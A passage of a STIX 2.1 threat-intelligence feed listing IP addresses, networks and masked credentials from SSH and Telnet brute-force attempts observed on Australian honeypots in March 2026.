      "valid_until": "2026-04-25T05:15:05.000Z"
    },
    {
      "created": "2026-03-24T05:15:07.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************1, U*******************************x. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--adaec145-0f13-41a5-bfdf-c3055fa493e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T05:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.118.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T05:15:07.000Z",
      "valid_until": "2026-04-25T05:15:05.000Z"
    },
    {
      "created": "2026-03-24T05:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): a***n, o******i, r**t. Passwords observed (masked): *, a***n, o******i.",
      "id": "indicator--c6c56b2a-6278-4811-949b-27f9dd08e9b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T05:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.233.253.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T05:15:07.000Z",
      "valid_until": "2026-04-25T05:15:05.000Z"
    },
    {
      "created": "2026-03-24T05:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 7311. Organisation(s): Frontier Networks Inc.",
      "id": "indicator--50eb5aa9-851e-44e4-a671-a2df66ecba94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T05:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '216.126.86.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T05:15:07.000Z",
      "valid_until": "2026-04-25T05:15:05.000Z"
    },
    {
      "created": "2026-03-24T05:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited.",
      "id": "indicator--a7da7b1a-70ce-40a8-80a0-1da05461b71d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T05:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '39.62.111.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T05:15:07.000Z",
      "valid_until": "2026-04-25T05:15:05.000Z"
    },
    {
      "created": "2026-03-24T05:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 17552. Organisation(s): True Online.",
      "id": "indicator--6e7095e9-c504-4579-ace0-7834d9ac644b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T05:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '58.10.45.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T05:15:07.000Z",
      "valid_until": "2026-04-25T05:15:05.000Z"
    },
    {
      "created": "2026-03-24T05:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--b7181184-f0f4-408b-a6ed-a02622dc9b98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T05:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T05:15:07.000Z",
      "valid_until": "2026-04-25T05:15:05.000Z"
    },
    {
      "created": "2026-03-24T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): u****d. Passwords observed (masked): U*******3.",
      "id": "indicator--aece5767-0fd6-4155-bb40-a28fe6af2608",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.192.189.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T06:15:14.000Z",
      "valid_until": "2026-04-25T06:15:12.000Z"
    },
    {
      "created": "2026-03-24T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 136336. Organisation(s): Thamizhaga Internet Communications Private Limited.",
      "id": "indicator--a9326eef-bf0c-4946-a190-e1db8cac274e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.136.137.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T06:15:14.000Z",
      "valid_until": "2026-04-25T06:15:12.000Z"
    },
    {
      "created": "2026-03-24T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--a7e0a8b6-6c2b-4118-aac3-d56b0488b20c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.48.177.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T06:15:14.000Z",
      "valid_until": "2026-04-25T06:15:12.000Z"
    },
    {
      "created": "2026-03-24T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 176. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, s*****t, t**t, c****g. Passwords observed (masked): a***n, p******d, 1******8, *, O************Z.",
      "id": "indicator--f89432b8-14ba-4acf-8174-987ffc464100",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.231.185.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T06:15:14.000Z",
      "valid_until": "2026-04-25T06:15:12.000Z"
    },
    {
      "created": "2026-03-24T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, 1**4, ***, ***. Passwords observed (masked): 1**4, 1***5, a******3, 0**************D, 1****6.",
      "id": "indicator--8047742d-0d93-4f65-a685-1f02ea86575e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.231.192.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T06:15:14.000Z",
      "valid_until": "2026-04-25T06:15:12.000Z"
    },
    {
      "created": "2026-03-24T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 25369. Organisation(s): Hydra Communications Ltd. Usernames observed (masked): 3**********4, f*****r, g****e, u****2, b*****r. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, G********!.",
      "id": "indicator--b19fe130-9604-42db-bbc2-a0e52fe80714",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.176.29.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T06:15:14.000Z",
      "valid_until": "2026-04-25T06:15:12.000Z"
    },
    {
      "created": "2026-03-24T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--9d2c1146-5410-4b02-b378-7052d135ece3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.32.162.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T06:15:14.000Z",
      "valid_until": "2026-04-25T06:15:12.000Z"
    },
    {
      "created": "2026-03-24T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 344. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): 3**********4, f*****r, g****e, u****2, v*****t. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, G********!.",
      "id": "indicator--62bac2fc-7879-41b0-8b03-89b5097ab5d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.119.37.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T06:15:14.000Z",
      "valid_until": "2026-04-25T06:15:12.000Z"
    },
    {
      "created": "2026-03-24T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--c64083aa-2079-499f-ad88-7d4ee6d31431",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.98.69.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T06:15:14.000Z",
      "valid_until": "2026-04-25T06:15:12.000Z"
    },
    {
      "created": "2026-03-24T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 48266. Organisation(s): Catixs Ltd. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--7e2065b3-8bf5-49eb-bc9a-adc29070e66f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.5.191.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T06:15:14.000Z",
      "valid_until": "2026-04-25T06:15:12.000Z"
    },
    {
      "created": "2026-03-24T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS. Usernames observed (masked): 3**********4, g****e, u****2, b*****r, f*****r. Passwords observed (masked): ***, 3***********4, 3**********4, 1**4, G********!.",
      "id": "indicator--381153b3-8756-4063-b821-0b1a90202f3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '82.64.38.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T06:15:14.000Z",
      "valid_until": "2026-04-25T06:15:12.000Z"
    },
    {
      "created": "2026-03-24T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 209334. Organisation(s): Modat B.V..",
      "id": "indicator--84ecc34b-dbad-4f05-8d92-0da9d9158292",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T06:15:14.000Z",
      "valid_until": "2026-04-25T06:15:12.000Z"
    },
    {
      "created": "2026-03-24T07:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): a*******t, r**t, 3**********4, a***a, **. Passwords observed (masked): 1***5, ***, 1******8, 3***********4, 3**********4.",
      "id": "indicator--08f58a79-4a00-4269-b080-e5761b1a1feb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.180.44.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T07:15:09.000Z",
      "valid_until": "2026-04-25T07:15:05.000Z"
    },
    {
      "created": "2026-03-24T07:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--195edf5f-cccc-414f-929c-3569ceff25b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.107.244.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T07:15:09.000Z",
      "valid_until": "2026-04-25T07:15:05.000Z"
    },
    {
      "created": "2026-03-24T07:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 109. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, *****, a***n, b****p, c****t. Passwords observed (masked): *****, 1****1, 1***5, 7**************a, 9****d.",
      "id": "indicator--40ef21e5-5f9a-4f3b-bedc-a6472b70c91d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.7.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T07:15:09.000Z",
      "valid_until": "2026-04-25T07:15:05.000Z"
    },
    {
      "created": "2026-03-24T07:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 265851. Organisation(s): MJL NETWORK EIRL.",
      "id": "indicator--dc1c5095-fbc4-4da5-bb2a-e29cb23962a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.225.187.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T07:15:09.000Z",
      "valid_until": "2026-04-25T07:15:05.000Z"
    },
    {
      "created": "2026-03-24T07:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PA. ASN(s): 267784. Organisation(s): Flyservers S.A..",
      "id": "indicator--e6881d09-44ef-40f0-be40-8ceb1a9372ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.227.254.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T07:15:09.000Z",
      "valid_until": "2026-04-25T07:15:05.000Z"
    },
    {
      "created": "2026-03-24T07:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): a******e, 3**********4, a***m, a*******a, a**r. Passwords observed (masked): 1******8, 0**0, ***, 1**4, 1***5.",
      "id": "indicator--423c340c-371b-4623-9f98-17e521f8ddab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '52.177.169.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T07:15:09.000Z",
      "valid_until": "2026-04-25T07:15:05.000Z"
    },
    {
      "created": "2026-03-24T07:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--11b5db1d-ff0a-4d29-bafe-b0df09d44ed2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.227.99.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T07:15:09.000Z",
      "valid_until": "2026-04-25T07:15:05.000Z"
    },
    {
      "created": "2026-03-24T07:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--01455fbf-3b68-433f-871b-b74502b4ae96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T07:15:09.000Z",
      "valid_until": "2026-04-25T07:15:05.000Z"
    },
    {
      "created": "2026-03-24T07:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 3229. Organisation(s): Darinet Ltd..",
      "id": "indicator--a0957295-ea8e-4b1a-b5a0-a4e4c9a3610f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '93.170.27.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T07:15:09.000Z",
      "valid_until": "2026-04-25T07:15:05.000Z"
    },
    {
      "created": "2026-03-24T08:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation.",
      "id": "indicator--ab604ba2-ee46-4e60-9988-d1372bdfc887",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.213.214.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T08:15:14.000Z",
      "valid_until": "2026-04-25T08:15:12.000Z"
    },
    {
      "created": "2026-03-24T08:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): p**d. Passwords observed (masked): p******d.",
      "id": "indicator--57191090-5546-4b6d-bab4-29dd9048a3df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.72.147.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T08:15:14.000Z",
      "valid_until": "2026-04-25T08:15:12.000Z"
    },
    {
      "created": "2026-03-24T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): u****5, 3**********4, d****y, p****o, r******r. Passwords observed (masked): 1******8, 3***********4, 3**********4, P**********3, a******6.",
      "id": "indicator--31614499-dbc8-4b84-9b3b-0ec883c50400",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.252.127.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T09:15:14.000Z",
      "valid_until": "2026-04-25T09:15:12.000Z"
    },
    {
      "created": "2026-03-24T09:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17917. Organisation(s): Quadrant Televentures Limited.",
      "id": "indicator--e7341f72-0bf6-46c5-9a90-0da688b90e3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.253.154.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T09:15:14.000Z",
      "valid_until": "2026-04-25T09:15:12.000Z"
    },
    {
      "created": "2026-03-24T09:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--50d4ecde-25ec-4fd4-965d-54a0ee125ee2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.135.41.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T09:15:14.000Z",
      "valid_until": "2026-04-25T09:15:12.000Z"
    },
    {
      "created": "2026-03-24T09:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262480. Organisation(s): CONNECT10 INTERNET EIRELI.",
      "id": "indicator--4abedfb0-e14f-424a-aa7c-bc8ca753827d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.47.84.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T09:15:14.000Z",
      "valid_until": "2026-04-25T09:15:12.000Z"
    },
    {
      "created": "2026-03-24T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation. Usernames observed (masked): r**t, 3**********4, ***, **, *. Passwords observed (masked): 1**4, 1******8, 3***********4, 3**********4, Q*******@.",
      "id": "indicator--df980c95-182f-4ddf-92eb-1df8e2808468",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '196.189.237.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T09:15:14.000Z",
      "valid_until": "2026-04-25T09:15:12.000Z"
    },
    {
      "created": "2026-03-24T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 135003. Organisation(s): Multan Cable & Internet Services Pvt Ltd.",
      "id": "indicator--72ed2717-d9ce-44e4-81b8-19adec81e499",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.86.135.2']",
